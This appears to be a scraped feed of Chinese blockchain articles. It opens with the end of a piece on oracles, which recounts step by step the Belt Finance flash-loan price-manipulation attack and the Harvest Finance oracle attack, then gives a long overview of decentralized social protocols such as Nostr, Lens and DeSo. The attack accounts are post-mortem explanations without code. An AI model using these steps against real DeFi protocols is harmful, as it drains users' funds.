这次攻击交易hash：0x50b0c05dd326022cae774623e5db17d8edbc41b4f064a3bcae105f69492ceadc


攻击过程如下：
（1）攻击者从 PancakeSwap 中通过闪电贷分8次，共计借出387315994 BUSD（3.87亿 BUSD）
（2）将其中1千万BUSD存入 bEllipsis-BUSD 策略，Ellipsis 是以太坊上 DeFi 协议 Curve 授权 Fork 的项目
（3）将 1.87 亿 BUSD 存入 bVenusBUSD 策略，然后通过 Ellipsis 合约将 1.9 亿 BUSD 兑换为 1.69 亿 USDT
（4）从bVenusBUSD 策略中提取 BUSD，通过 Ellipsis 将1.69亿USDT换成1.89亿BUSD，向 bVenusBUSD 策略中再次存入1.97亿 BUSD
（5）多次重复上步骤，攻击者通过重复买入卖出 BUSD，最后从策略 bVenusBUSD 中提取了更多的 BUSD，使用1.69亿 BUSDT 兑换出1.89亿的 BUSD
（6）归还闪电贷，并将资产转移获利



此次攻击，是由于 bEllipsis 策略余额计算中的漏洞，造成攻击者操纵了 beltBUSD 的价格。
通过合约分析可知，beltBUSD 的价格依赖于机枪池中的余额，攻击者将 BUSD 存入 bVenusBUSD 策略再提出，由于资产的数量不变，即使重复操作，也不会获利。
但此次攻击者也同时操作了其他策略（bEllipsisBUSD）对beltBUSD余额产生了影响，造成了计算漏洞的产生。
3、Harvest Finance：
2020年10月26日，一位匿名用户用闪电贷技术攻击了Harvest Finance 储备池。
⬇️你可以在这里阅读官方的分析报告
https://www.8btc.com/article/661801
攻击者通过执行交易使得Curve池中的USDC价格降低，然后以降低的价格进入Harvest池子，通过逆转先前的交易恢复价格，并以更高的价格退出Harvest 池子。
这最终导致用户损失了3300万美元。这是也典型的针对链上预言机的攻击。

03

写在最后


区块链如果想要被更广泛地使用，需要一个安全可靠的机制与链下数据进行沟通。
中心化的预言机在带来这一便利的同时也给我们带来了大量的中心化的风险，这与区块链的初衷是不符的。
去中心化的预言机拥有在不损害去中心化的前提下带来链下数据的这一潜力。
此外，现如今区块链预言机的功能其实不仅限于获取链下数据以及随机数了。
它还能提供包括合约的自动调用，为链上的合约提供外包计算以及跨链通讯等服务。

end


 

往期推荐

去中心化社交与其他去中心化转移

走进区块链的第一步：钱包服务

走进区块链的第一步：mev浅析


点个在看你最好看


阅读原文

跳转微信打开

]]> Fri, 17 Mar 2023 10:48:00 +0800 去中心化社交与其他去中心化转移 https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247502536&idx=1&sn=3855c1c3bb19d7bfb9334c964adc15a7 去中心化社交与其他去中心化转移 原创 零鉴科技 2023-03-16 13:30 湖南

去中心化社交与其他去中心化转移


一、前言


2021年1月6日美国国会骚乱发生后，特朗普超过8900万粉丝的推特账号被暂停使用，此后推特以“存在进一步煽动暴力行为的风险”为由“永久封禁”特朗普的个人推特账户。
虽然在马斯克的推动下，2022年底“懂王”的推特账户被解除封禁，但在此期间，特朗普自创的社交平台“真实社交”获准在谷歌应用商店上架，双方就此事已经交涉了数月。
报道称，在“真实社交”同意执行禁止“煽动暴力”等内容审核政策后，该社交平台最终获准上架。
但此事引发的传统社交平台对于用户内容审核及管理的“类垄断”行为值得我们深思，web3浪潮下去中心化社交 (Decentralized Social，DeSoc) 正在野蛮生长。


传统社交平台一般情况下都是完全打包过内容的通信应用程序。其核心是身份产品，其提供了用户的数字角色以及该数字角色所捆绑的数据、内容和最重要的社交关系图谱。
web2时代以该方式形成了大量成熟的社交产品如twitter，facebook，wechat等。然而，这些通过封闭式数据平台构建的社交软件正被其背后的资本垄断、操纵并以此获得巨大的利润。
去中心化社交 (Decentralized Social，DeSoc) 协议正在重新构建数字身份，DeSoc的重点在于其用户的社交图谱及用户身份是用户所完全自主拥有控制的。
借助DeSoc，用户可以以自由且互相信任的方式交流并构建应用程序，完全避免中心化社交所带来的社交绑定困境以及审查困境。



二、去中心化社交网络


1.DeSoc定义

去中心化社交网络是基于区块链的平台，允许用户交换信息以及向受众发布和分发内容。由于这些应用程序在区块链上运行，它们能够去中心化并抵制审查和不当控制。
许多去中心化的社交网络已成为现有社交媒体服务的替代品，例如 Facebook、LinkedIn、Twitter 和 Medium。但基于区块链的社交网络有许多领先于传统社交平台的功能。

2.工作原理

去中心化社交网络是一类去中心化应用程序 (dapps) ，是由部署在区块链上的智能合约驱动的应用程序。合约代码充当这些应用程序的后端并定义它们的业务逻辑。
传统社交媒体平台依靠数据库来存储用户信息、程序代码和其他形式的数据。但这会产生单点故障并带来重大风险。例如，去年 Facebook 的服务器离线了数个小时，切断了用户与平台的连接。这件事引起了极差的反响。
去中心化社交网络存在于由全球数千个节点组成的对等网络上。即使某些节点发生故障，网络也将不间断地运行，使应用程序能够抵御故障和中断。
基于以太坊建立的社交网络使用类似星际文件系统 (IPFS) 之类的去中心化存储系统，可以保护用户信息免遭利用和恶意使用。没有人会将你的个人信息出售给广告商，黑客也无法窃取你的机密信息。
许多基于区块链的社交平台都有原生代币，可以在没有广告收入的情况下实现货币化。用户可以购买这些代币来访问某些功能、完成应用内购买或打赏他们最喜欢的内容创作者。

3.DeSoc优势

1. 去中心化社交网络可抵御审查，并对所有人开放。这意味着用户不能被任意禁止操作、被社交平台禁言或遭到其他限制。
2. 去中心化社交网络建立在开源理念的基础上，并使应用程序的源代码开源。通过去除传统社交媒体中常见的不透明算法，基于区块链的社交网络可以使用户和平台创建者的利益保持一致。
3. 去中心化社交网络淘汰了“中间人”。内容创建者对其内容拥有直接所有权，他们直接与关注者、粉丝、买家和其他各方互动，双方之间的联系仅智能合约完成。
4. 由于去中心化应用程序在由全球节点对等网络提供支持的以太坊网络上运行，去中心化社交网络受服务器停机和中断的影响较小。
5. 去中心化社交平台通过非同质化代币 (NFT)、应用程序内加密支付等为内容创建人提供改进的货币化框架。
6. 去中心化的社交网络为用户提供了高度的隐私和匿名性。例如，个人可以使用以太坊域名服务的配置文件或钱包登录基于以太坊的社交网络，而无需共享可识别个人信息 (PII)，例如姓名、电子邮件地址等。
7. 去中心化社交网络依赖于去中心化存储，而不是中心化数据库。在保护用户数据方面，前者更加优秀。

4.DeSoc三维困境

目前来看DeSoc能够解决web2下社交平台所遇到的大部分问题，那是不是说DeSoc就是完美的？
答案是否定的，DeSoc在带来大量优势的同时也带给自己设计上的复杂性。DeSoc在设计上存在天生无法解决的“三难困境”，即其很难在安全性、可扩展性和用户体验上很难做到完美的平衡。
安全性VS可扩展性
安全性表明了这个三难困境中的两件事：区块链的去中心化以及交易的执行。区块链的去中心化很简单：有了更多的验证者，区块链将变得更加去中心化和安全。
但是，这就需要在安全性和可扩展性之间进行权衡。区块链去中心化程度越高、越安全，就越难以扩展。这就解释了为什么没有DeSoc协议能够真正在以太坊上运行，因为gas费用太高，网络会变得过于拥堵。
在ZK-rollup变得便宜和可用之前，DeSoc协议需要在侧链、子网/超网或独立的L1上运行。
最安全的区块链并不是DeSoc协议的最佳部署地，但公平地说，与DeFi协议不同，这些协议不一定需要以太坊的安全性。
安全性VS用户体验
当涉及到交易的执行时，一些DeSoc协议本身会执行交易。
例如，用户关注某人，只需要签署消息就可以了。他们不支付gas费，也不实际执行交易，而是由协议本身承担这个角色。
这就需要在安全性和用户体验之间进行权衡。模糊gas费用是用户体验的一大进步。
想象一下，如果每次你想发帖时都要支付Instagram的AWS账单的一小部分，那将是多么可怕的事情啊！
事实上，终极用户体验是你连接钱包，但永远不必处理提示你签署合约或支付交易的metamask窗口弹出。
这样做的代价是让智能合约获得更多的权限和对钱包的控制权，而智能合约有被黑客攻击的风险。
在促进大规模采用的同时，它违背了web3去中心化的本质。
用户体验可以说是加密货币采用中最大的摩擦点；为了促进广泛采用，去中心化的最大化可能需要换个角度来看。
事实上，当涉及到执行交易的安全性和用户体验之间的权衡时，Lens的无gas费API是业界领先的。该API允许用户在区块链网络上执行交易，而无需支付任何费用。
这使得DeSoc可以与免费使用的web2社交媒体相媲美。减少了用户等待交易完成的需要，无gas费API允许他们滚动到下一次发布，并继续自由互动。
该API允许用户简单地签署一条消息(例如，作为一条评论)，然后中继者接收这条消息与相关的信息，将数据上链，完成交易。
对于中继者来说，这种方法稍微有点耗gas费，因为他们必须验证签名，然后在链上发布数据。
然而，它让用户体验更有趣和满意。应用层平台需要支付gas费，这意味着Lenster或LensFrens有义务支付这些费用。
虽然使用无gas费API的缺点是，用户依赖中继者在链上发布交易，而不是自己完成交易，但考虑到社交媒体发布不需要与金融交易相同的安全级别，这种权衡是值得的。
此外，中继器也增加了灵活性，有一个小时的宽限期，可以在链上正式发布交易，他们可以避免高gas费用的时期。
用户体验VS可扩展性
用户体验和可扩展性之间的权衡更难分析。例如，DeSo(不要与DeSoc混淆)，一个专门为社交应用程序创建的区块链。
DeSo已经扩展到超过150万用户(远远超过了Lens等竞争对手的5万多用户)，但它缺乏可以让Polygon用户受益的周边生态系统，如游戏和DeFi协议。
想象一下，你可以用你在Polygon上的Lens profile作为DeFi协议中的抵押品来获得贷款。这种价值附加的可组合性优势并不存在于DeSo或任何建立在独立区块链上的DeSoc协议中。
同样，Cyberconnect的可扩展性极强，拥有超过100万个账户，因为它是区块链不可知论的，允许你把你的社交图谱带到任何区块链。
然而，由于设计原因，Cyberconnect无法在其生态系统内使用NFT。在节省计算和简化整体设计过程的同时，失去NFT兼容性是巨大的损失。
以Lens为例，NFT代表你的个人资料和你的粉丝。它使profile的二级销售成为可能，创造了一个全新的市场。
不想创建一个拥有大量粉丝的模因账号？你只需要购买一份能够满足这些用户的NFT profile。
此外，NFT为创作者提供了更多的收入。通过让帖子具有收藏价值，创作者可以引入排他性，从而对内容收取费用。


三、去中心化社交协议


1996 年《网络空间独立宣言》中提到，“我们正在创造一个世界，在那里，任何人，在任何地方，都可以表达他们的信仰而不用害怕被强迫保持沉默或顺从，不论这种信仰是多么的奇特...... 我们将在网络中创造一种心灵的文明。但愿她将比你们的政府此前所创造的世界更加人道和公正。”
尽管 Web2 时代的社媒平台已向这一目标做出诸多努力，但仍有层出不穷的隐私窃取、数据泄露问题困扰用户，加剧与平台之间的紧张对立关系，给用户的社交体验蒙上一层阴影。
字节跳动 TikTok 平台就曾因过度挖掘用户数据、侵犯信息安全，被美国下令“封杀”；后其又被国家网信办约谈，针对算法技术进行规制谈判……这一切背后的技术逻辑很简单 —— 平台掌控着内容、资源和产生的价值，用户参与创作的内容成了平台贩卖给广告商的“货品”，而广告费用和各项收益又最终落入平台的口袋。
如果我们想改变这一现状，如上文所述，DeSoc是一个不错的选择。去中心化社交将用户定位为系统核心，原本作为主角的社交平台退居二线。
于是，“去中心化社交协议（Decentralized Social Protocol ，DSP）”这一概念逐渐涌入大众视野，成为各大公链推出的新方案。
去中心化社交协议的核心是**让用户控制内容，负责网络内价值的创造和转移**。
用户可以从众多界面提供商、内容服务器和广告商中进行选择，还包括**配置文件管理、隐私保护、内容过滤、元数据**等去中心化解决方案可供参考。

1.去中心化社交协议的优势

用户决定内容

DSP将决定权从平台中心转移到用户手中。平台提供的推荐内容并不是由各大应用提供，也不是通过算法推荐进行精准投递，而是用户亲身参与创造、设定的过程。

比如用户可以选择客户端，安装各类插件，从技术源头解决内容和体验不适配的问题。

同时，推出这些社媒平台的互联网企业也消解了部分法律负担，不用再对潜在的用户隐私风险担责。

拥有更多内容定制权的用户可以在 Web3 环境下加入高度开放、自由的社交圈层。

赋予数据权利

用协议框定平台权责，可以把数据控制权交还用户。用户自主掌握了数据权后可以自发保护隐私安全。
这种数据自主权就好比 Gmail 中的用户数据，不管是联系人还是邮件都可以完整导出，如果某天 Gmail 让用户感到不满，那么用户就可以带着自己的账户数据更换邮件客户端，而存在联系列表的好友及相应的邮件信息并不随客户端转移而消失。
但在 Facebook 这些社交平台上，用户一旦不想使用了，即使账户数据能够被导出，也无法和原先的好友们继续联络，因为数据权限属于平台。
增值服务盈利
去中心化社交协议除了保障用户创作、数据上的主动权以外，还在商业模式上具备发展潜力。借助协议应用，存储服务、加速服务能够作为附属功能便利用户的办公、生活需求。
那么根据协议发展起来的额外应用就有了商业化的可能，不同的项目方提供相应增值服务，让用户灵活调度工作任务、资金利益，通过区块链等新兴技术制定模块化运营区域。


2.去中心化社交协议一览

Nostr

2023年年初DeSoc社区最热门的协议莫过于Nostr，本文就Nostr展开详细的介绍。
Nostr 是基于加密密钥对 (Cryptographic Keypairs) 的去中心化网络，没有采用 P2P (peer-to-peer) 技术。该协议非常简单，且可扩展。
Nostr 全称是 Notes and Other Stuff Transmitted by Relays，可以理解为：通过中继设备传输笔记和其他东西。
有人认为，Nostr 之于社交网络，就像 HTTP 之于信息或 IMAP 之于通信。虽然目前 Nostr 的主要用处是打造类似 Twitter 的（去中心化）社交网络，但它是一个底层级别的协议，几乎可以在其上构建任何你喜欢的东西，可能性无穷无尽。
他的基本构成如下图所示：

nostr 网络中存在两个角色 relay 和 client。每一个节点被称之为 relay（中继服务器），用户则为 client。relay 之间由于不存在p2p协议并不会同步消息，每个 relay 都有自己的数据库存储，数据库的类型可以自行决定，目前用的比较多的是 sqlite 或者 Postgresql，其他的类的数据库也可以，要看 relay 的具体实现。
每个人使用的终端是 client，client 会和 relay 之间进行交互，使用 websocket + json 协议。

从 client 到 relay 支持三种操作:

a. event:发布消息、修改节点信息等操作；

b. req:持续不断的请求所关注的中继服务器即relay的信息，并在client显示；

c. close:用于关闭req请求中对于relay的订阅请求。


从realy到client的操作有两种：

a. event:返回client所订阅的信息

b. notice:返回relay所定义的任何信息内容

nostr提出了一个类似于以太坊EIP提案的机制NIP。在初版NIP-01中就上述操作协议制定了相关的规则。
event：签名发布信息，用户在想要发布信息时，使用本地的私钥对想要发布的信息内容content进行签名，最终生成如下的json类型数据：
{"id":<结构化数据的hash>"pubkey":<公钥>"created_at":<创建时间，时间戳格式>"kind":<种类>"tags":[        ["e",<其他事件id>,<推荐的中继器url>],        ["p",<推荐的中继器url>]    ]"content":<消息内容字符串>"sig":<序列化事件数据的sha256 hash的64字节签名>}
req：向中继器relay发送一个随机id作为订阅id以及一个过滤器信息，NIP-01设定如下：
{"ids":<事件id的列表>"authors":<公钥列表，必须项>"kind":<种类列表，频道>"#e":<e标签中的事件id列表>"#p":<p标签中的公钥列表>"since":<时间戳，筛选之后的>"until":<时间戳，筛选之前的>"limit":<要返回的最大事件数>}
可以看到，这样的筛选条件相当于传统社交平台中的关注功能，在无需对方许可的情况下请求订阅对象的基本信息，过滤器即为过滤相应的时间段。
但需要注意的是中继器的设计方案注定其不一定存储目标用户的信息，client需要持续不断的请求不同的中继器，一旦所有的中继器宕机，此部分的信息也就消失了。
close：很好理解的关闭操作，即取消订阅消息，client也就不会从relay中请求最新的事件信息。
根据 nostr.io 的数据显示，截止至 2023 年 2 月 7 日，的公钥数量为 530,600，拥有的中继端为 295 个，事件（event）超过 126 万。

2022年2月初Damus成功上线Apple Store，该app即为nostr网络中的client部分，目前nostr官网已经推出了许多平台。

这些不同的client实现比对如下所示：

其中较为受欢迎的Damus 是一款基于去中心化社交协议 Nostr 的应用，其将定位为“The social network you control”，意为用户可以掌控自己的社交网络，体现了 Web3.0 强调的精神内核。
就产品功能而言，用户可以在广场发布内容、发送信息私聊、进行闪电网络支付。
该产品的特点为：
a) 无需注册：用户只需要填写昵称，即可生成一对公私钥而无需使用邮箱等注册登陆。之后用户可以基于公钥搜索关注好友。
b) 用户所有：具有抗审查的特性，用户可以控制自己的数据。
c) 加密对话：端到端的私信信息传递。
d) 无需服务器：消息通过分布式的中继端分发，无需运行任何基础设施，也没有单点故障。每一条贴文都有一个独特的 Note ID，复制之后同样可以在搜索页面输入直达。
e) 可编程：允许轻松集成机器人。
f) 可获取收入：用户可以运用比特币闪电网络功能进行支付打赏。当前支持的闪电消费支付平台包括 Strike、Cash App、Muun、Blue Wallet、Wallet of Satoshi、Zebedee、Zeus LN、LNLink、Phoenix、Breez、Bitcoin Beach、Blixt Wallet、River。
此处笔者简单展示Damus的使用方式，目前Damus仅支持苹果旗下产品使用
Appstore中下载Damus并打开
创建账户
同意用户条款
 创建你自己的用户名和昵称
这里就是最关键的步骤，Damus会给到你两个密钥，公钥也就是你展示给他人用于识别你身份的唯一长字符串，而下面的私钥就是保管你这个账户的唯一凭证也就是我们所理解的“密码”，保管好你的私钥因为在web3中并没有中心化存储能够让你存储找回密码的问题或者其他程序资料。
在保管好你的私钥后就可以在Damus上浏览内容了。

从功能上来说，Damus 并没有太多地突破用户的想象，当前也仍然是一个亟待优化的初级版本，很多功能仍然不完善，比如内容编辑页面不可进行排版、点赞后不能取消、发布内容无法删除等，但其进入门槛低，且拥有移动端，用户可以轻松下载使用。
Damus 主打的用户所有、加密对话、闪电网支付等概念启发了用户以及加密社区的讨论。
总体来说，Nostr 是一个非常简单且具有高度互操作性的协议，其呈现了去中心化社交协议与自由的价值传递交织后涌现的可能性。
客户端和中继端的组合，使得信息的发布和传递更加具有抗审查性，这与比特币倡导的精神内核相吻合。
另外，Nostr 和闪电网络更加紧密的结合为社交应用与比特币进行原生整合提供了可能。
或许现阶段我们需要的并不是一个基于 Nostr 的 Web2 应用的复刻版本，而是一个精细设计的基础设施，解决乐高积木的问题，然后再让隐秘的超级开发者们搭建出超越想象而又极具比特币内核的产品。
Nostr 算是为去中心化社交新打开了一扇窗，自此之后，相信大规模的协议以及应用会迎来新的突破。去中心化社交，一切才刚刚开始。
Farcaster
Farcaster Protocol 是 SocialFi 赛道的龙头产品，目标是为 Web3 生态提供可信的中立协议，让用户与受众有直接联系，也让开发者自由地创建全新的客户端。
Farcaster 采用“链上 + 链下的混合架构”来完成去中心化协议搭建。
因为在链上存储信息本身是昂贵的，Farcaster 的取舍是，将一个人的身份信息以及读写数据的能力存于链上，其它数据信息（比如发送的私信等）则会被存储在链下服务器 Farcaster Hubs 中，以此确保用户可以完全掌握自己的身份、社交关系以及数据信息。
Farcaster 身份被存储在以太坊上，并利用以太坊来保证安全性、可组合性与一致性。
Farcaster 安全性极高且**完全去中心化**，在社交网络中容易被识别，建立快速又低成本，成为去中心化社交协议的新星。
Lens Protocol
由 DeFi 借贷项目 Aave 创始人 Stani Kulechov 在 Polygon 上构建的一个去中心化社交媒体协议。
Lens Protocol 的核心在于充分利用了 NFT 的潜力，以 NFT 为基础构建社交图谱。
比如，当你创建 Lens 个人资料时，你的以太坊钱包中生成铸造一个 NFT；当你在 Lenster 上关注某人时，你在链上铸造了一个“粉丝”NFT(Follow NFT)且每个 NFT 都有独一无二的编号，记录了建立 / 关注的顺序。
因此，在 Lens Protocol 下，社交关系不仅仅是作为一种数据，更是一种可转移交易的资产。
从生态发展的角度来看，Lens Protocol 应该是目前最火热的社交协议，这一定程度来源于其组件模块化的设计。

Lens Protocol 对开发者异常友好，允许开发者使用模块化组件在 Lens 上任意搭建自己的社交应用，包括大量 Web3 和 Web2 工具，或链上和链下数据，所有这些都由 LensAPI 绑定在一起。
比如数据托管，应用程序可以选择 IPFS 和 Arweave 等去中心化存储方式，也可以选择 AWS 等传统方式；可以选择 XMTP 或 Dialect 进行直接消息传递，选择 Push 或 Notify 发送通知。
目前处于封闭发布阶段的 Lens 基于智能合约设计，并构建在 Polygon 之上。每个 Lens profile 都发一个 ProfileNFT，profile 的所有 follower 都发一个 FollowerNFT 来代表连接。
除了基本个人账户和后续内容之外，Lens 的其他核心概念是：
Publications——个人资料发表的帖子存储在用户的 ProfileNFT 中，URI 指向存储在 IPFS 等链下解决方案中的元数据。为了节省燃料，出版物只有在被“collected”后才会成为 NFT。
Collecting——用户可以“收集”另一个用户的帖子，该帖子将在他们的钱包中作为 NFT 铸造。收藏是创作者直接通过其内容获利的一种方式，也是用户与其他个人资料建立更牢固关系的一种方式。它还为寻找和转发有价值内容的人引入了一条新的货币化途径。
Mirrors——Mirrors 是再共享的出版物。由于它们不是真正的出版物，因此无法直接收集。但是，如果原始内容被其他用户收集，则转发有价值内容的人可以获得部分收益。此外，Mirrors 创造了一种新的广告技术形式，用户可以在其中激励他人，从而提升他们的内容。
Modules——模块是在被新关注或收藏等事件触发后执行的智能合约。开发人员可以在模块内自定义 Lens 的功能，并使用它们来构建新功能，包括货币化。例如，关注模块可能需要付费或订阅才能关注个人资料。模块推动了规模和功能潜力，因为开发人员有一个框架可以将几乎所有功能添加到 Lens，同时社交图保持标准化并因此可组合。
内置治理——FollowNFTs 是有效的徽章，表明用户是一个群体的一部分。了解潜力后，Lens 在 FollowNFT 中构建了额外的逻辑，用于投票委托等事情。用户可以一起形成一个社交 DAO，它可以拥有自己的资料并由其 FollowNFT 持有者管理。此外，DAO 所有者可以将特殊的投票和治理规则直接编程到 FollowNFT 中。
DeSo 
DeSo是一个新型的社交网络，从头构建了用户可以利用其影响力和内容变现机制的自定义的区块链。
其架构和比特币类似，但却有着更大的规模和吞吐量， 可以更好地支持社交媒体复杂的数据，如发帖，用户资料，粉丝，投机预测等功能。
并且和比特币一样，DeSo是一个完全开源的项目，其背后没有公司，只有代币和代码。
在 2021 年 3 月以 BitClout 的名义推出备受争议的产品后，DeSo 继续推进其专为社交应用程序设计的独特的第 1 层链。
该链目前是基于比特币算法的混合工作量证明链，因此不具备智能合约等功能。
然而，在 2023 年上半年，DeSo 将进行一次硬分叉，将网络迁移到权益证明设计。
为了为社交应用定制链，DeSo 放弃了通用链，而是定义了特定于社交应用的核心交易模式。
标准的社交活动，如帖子和个人资料更新以及 NFT 交易类型是在网络级别定义的。
此外，DeSo 定义了支持标准代币交换的金融交易，以及 DeSo 的创作者代币和名为 Diamonds 的社交小费功能。
钻石充当内容创作者的小费机制。用户每收到一个钻石小费，他们赚取的 DeSo 代币就越多。
创作者币会自动分配给账户，并可购买以换取 DESO 代币。
假设，随着某个账户变得流行，人们将希望持有（购买）这个创作者的硬币，从而导致现有持有者的价格上涨。
DeSo 的所有内容都存储在链上，原始图像和视频除外，存储在像谷歌云这样的中心化提供商或像 IPFS 这样的去中心化提供商中。
通过这种设计，链条的状态不断增长，从而限制了其长期的去中心化潜力。
虽然 DeSo 拥有一系列应用程序，从博客应用程序延伸到筹款应用程序，但超过 75% 的网络帖子来自三个社交应用程序：
Desofy——一款移动社交媒体应用程序，也是帖子数量最多的 DeSo 应用程序。该应用程序由 DeSo 基金会支持，允许用户通过钻石小费和销售 NFT 赚钱。
Diamond——DeSo 团队支持的基于网络的社交信息流产品。其功能包括 DeSo 的所有货币化方面，使用户能够在网站上发布除图像和视频之外的短格式和长格式内容。
DeSocialWorld——旨在迎合全球受众的多语言社交提要。它还展示了 DeSo 的大部分功能，包括内容和货币化。
Subsocial
Subsocial 是建立在波卡和 IPFS 上的去中心化社交网络协议。今年初，Subsocial 成功赢得了 Kusama 的第 16 次插槽 Auction，成为了 Kusama 平行链。
Subsocial 协议是一套 Substrate 模块和网站前端，用户可以使用它来创建自己的去中心化抗审查社交网络（空间）。
因此 Subsocial 本身并不是像 Twitter 这样的社交媒体，而是用于创建社交媒体的平台，可以有多个不同的社交网络运行在 Subsocial 上。
在 Web2 社交平台中，用户并不拥有平台。
而在 Subsocial 中，空间的创建者可以自己拥有其空间的所有权。每一个空间就像一个 DAO，还可以拥有自己的国库。
拥有社交 token 的用户可以决定该空间的发展方向，还可以分享该空间的广告收益。Subsocial 将内容审核的权力也交给了每个空间。
Subsocial 在链层面不进行内容审查和屏蔽，但是每个空间可以指定自己的内容规则，根据自己的需要对内容进行审核。
社区可以通过选举出审核员，删除某些涉及诈骗和有害信息的内容，或者共同决定怎样屏蔽社区不欢迎的内容。
目前构建在 Subsocial 协议上的 App，有同名的 Subsocial 社交网络 App、去中心化身份 SubID 和Sumi。
Sumi 是一个基于 Substrate 的钱包至钱包通信系统，有点像 Web3 版的 Email，也就是说它会更加安全和去中心化。
Sumi 允许任意两个区块链数字钱包之间进行通信，最初版本将支持 Dotsama 生态的钱包，并且很快会支持以太坊、比特币和 Solana 生态的钱包地址类型。

Mem Protocol

根据 Mem Protocol 的官网展示的路线图，协议的基础功能分为四个模板：
第一个模块是与各个开发商的集成，让用户能使用 Mem Protocol 扩展去中心化社交图谱；
第二个模块是一个可视化区块链浏览器，这个浏览器不是用来浏览 Hashes 而是在 Web 3 的社交层浏览关注的人。目前这个功能用户可通过官网申请 Alpha 内测资格，当协议开始内测时，符合条件的用户会收到邮件；
第三个模块是一个问答工具，用户通过提问以及回答问题可以赚取赏金奖励；
第四个模块是一个去中心化的朋友圈，用户可在 Web 3 与朋友建立群组。 
2021年11 月份完成由 a16z 领投的 310 万美元种子轮融资，前 Coinbase 首席技术官 Balaji Srinivasan、Polychain 的联合创始人 Olaf Carlson-Wee 以及投资者 Charlie Songhurst、Jude Gomila、Charlie Cheever 等参与了此轮投资。



四、去中心化社交总结


web2公司专注于将社交媒体作为单一产品，而web3将社交网络的概念扩展到多个层面。基础层是社交图谱：它映射出个人资料、粉丝和他们之间的联系。
接下来是应用层，用户可以在这里消费内容并与他们的社交图谱互动。参考web2，把社交图谱视为粉丝，把应用层视为信息流。
通过区块链，不存在控制社交图谱的单一实体。
相反，你的社交图谱成为一种资产，而不是公司拥有的产品。
显然，拥有自己的社交图谱的诱惑力还不足以说服数十亿用户抛弃他们现有的产品。
鉴于用户对社交媒体的政策和高管越来越不满，还有一个缺口需要填补。
除了数据所有权，对分散的粉丝、审查制度和闭源算法的抱怨为去中心化社交媒体（DeSoc）提供了抢占市场份额的机会。
坦率地说，现在是向DeSoc过渡的最佳时机。
现有的用户要求更好的体验，而DeSoc可以作为加密货币采用的催化剂；后者需要受欢迎的产品，可以催化其早期采用阶段。
去中心化的社交媒体可能为用户在现有的web2社交媒体平台上所面临的挑战提供了唯一现实的解决方案。
但问题依然存在：大规模采用可能实现吗？
从表面上看，为了优先考虑用户体验和可扩展性，去中心化的最大化将不得不举白旗，这样DeSoc才能最终看到可持续的产品市场适应性。
正确的方法似乎是将社交图层和应用层分离，以进一步推动可定制性，并避免web2中存在的审核问题。
最后，通过在区块链上构建社交媒体之外的生态系统（如游戏和金融），以及在设计中利用NFT，优先考虑可组合性，可以实现最佳的用户体验，同时提供当今社交媒体设计中所没有的可选性。



五、web2衍变web3的实用项目

web2衍变web3的实用项目

去中心化社交是目前web3衍变中最为核心的赛道之一，但除了去中心化社交，传统web2中的其他领域也正在积极向web3发展过渡。
互联网从面试以来经历了三个阶段性的衍变，在互联网刚创世时，互联网可以称之为web1.0时代，它是单一的信息提供者，是“只读”的，用户只能从其获取单向的信息。
web2.0时代是我们正在经历的辉煌时代，用户与互联网存在密切的互动，内容的生产与信息的变更由用户提供并进行互相间的交互。
但不可否认的是web2时代用户之间的互动依托于中心化平台的。
而目前互联网正在朝着新的web3.0时代靠近，web3.0的主旨是唯一的，“去中心化”是web2与web3的最大区别，当一个web2.0时代的产品在通过去中心化变革后彻底摆脱中心化平台的控制，该应用即完成了从web2到web3的成功衍变。
以下就此类产品进行相关介绍。

1.从.com到ens

以太坊域名服务（ENS）是基于以太坊区块链的域名系统（Domain Name System：DNS），它在互联网上分配地址，ENS 将包含随机数字和字母的复杂以太坊地址转化成易读/易理解的名字。
这使得新兴的 Web3 生态系统更加“接地气”，更具市场价值，因为人们和 dApp 可以轻松共享加密地址。
由于以太坊的市场主导地位，ENS 引发了争夺最佳 ENS 注册的热潮，类似于 1990 年代 “.com” 域名所引发的潮流。
ENS 运行在以太坊上，是一个去中心化的名称标记系统，可将机器可读的标识符（地址、元数据、内容哈希）转换为人类可读的名称。我们以以太坊联合创始人 Vitalik Buterin 为例：
V神在Etherscan.io上的地址是0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045
ENS 将该字符串转换为vitalik.eth，设置为 2034 年到期。
vitalik.eth 由两部分组成：注册者和控制者。在这两种情况下，我们都得到了相同的地址，因为 Vitalik 没有转让他的所有权。控制者有权编辑域的记录。
如果他愿意，作为注册所有者，Vitalik 可以将所有权转让给控制者，负责创建子域和其他日常操作。ENS 通过两个智能合约管理域名所有权。
第一个是 ENS 注册表，一个记录和保存域名和子域名的数据库。
第二个 ENS 智能合约是 Resolver。它负责将机器可读的地址格式化为人类可读的文本，就像 DNS 如何将 IP 地址转换为 URL 文本一样。
换句话说，虽然 DNS 使 Web2 易于理解，但 ENS 使 Web3 易于理解。
作为记录持有者，ENS 注册表存储域的所有者和解析器。所有者可以是另一个智能合约，也可以是拥有外部账户的用户。注册人是一个智能合约，拥有域名所有权，能够发行子域名。
因此，域所有者可以更改子域所有权，将域所有权转移到另一个地址，或者为域设置域的生存时间 (TTL) 缓存。
在实践中，当请求vitalik.eth 时，会向注册表智能合约发送查询以获取域所有权。然后注册表输出负责转换的解析器，传递它转换的地址。
使用方式：
我们以ENS域名注册为例尝试使用，第 1 步：前往 app.ens.domains，然后点击左上角的“Connect”（连接），连接使用的加密钱包。

第 2 步：在搜索选项卡中，查找希望拥有的 .eth 域名。
第 3 步：搜索结果会显示这个域名是否可用，如果可用会显示“Avaiable”

第 4 步：给出报价，选择注册，钱包支付后域名即注册成功。
 
可以看见，与传统域名注册机制相比，ENS的注册与支付更为便捷快速，所有权与转让机制也更为清晰。
另一方面，使用者可以将自己的钱包映射到域名中，以更简单明了的方式记住自己的钱包而不是一串复杂的长字符串。
当然，现在的ENS仍然处于处于发展期间，使用面仍然很小,目前的ENS更多的是作为一个新型市场来吸收资金入场以扩展其自身影响。
但就如web2时代域名市场的发展，未来ENS也将成为一个竞争激烈的战场。截至目前，如 baidu、taobao、jingdong等目前web2的大域名已经在ENS被成功注册，也可以看出大家对该项目的看好。

2.从传统Email到Mail3

Mail3的初心在于打造一个Web3原生的通信平台，逐渐发展成为Web3通信的基础设施，以及链上关系和声誉等价值信息的传播平台，通过用户的链上社交关系来打造独一无二的身份。
简单说来，Mail3是用个人钱包与地址和去同质化身份来识别身份的，还可以标记邮件的地址。
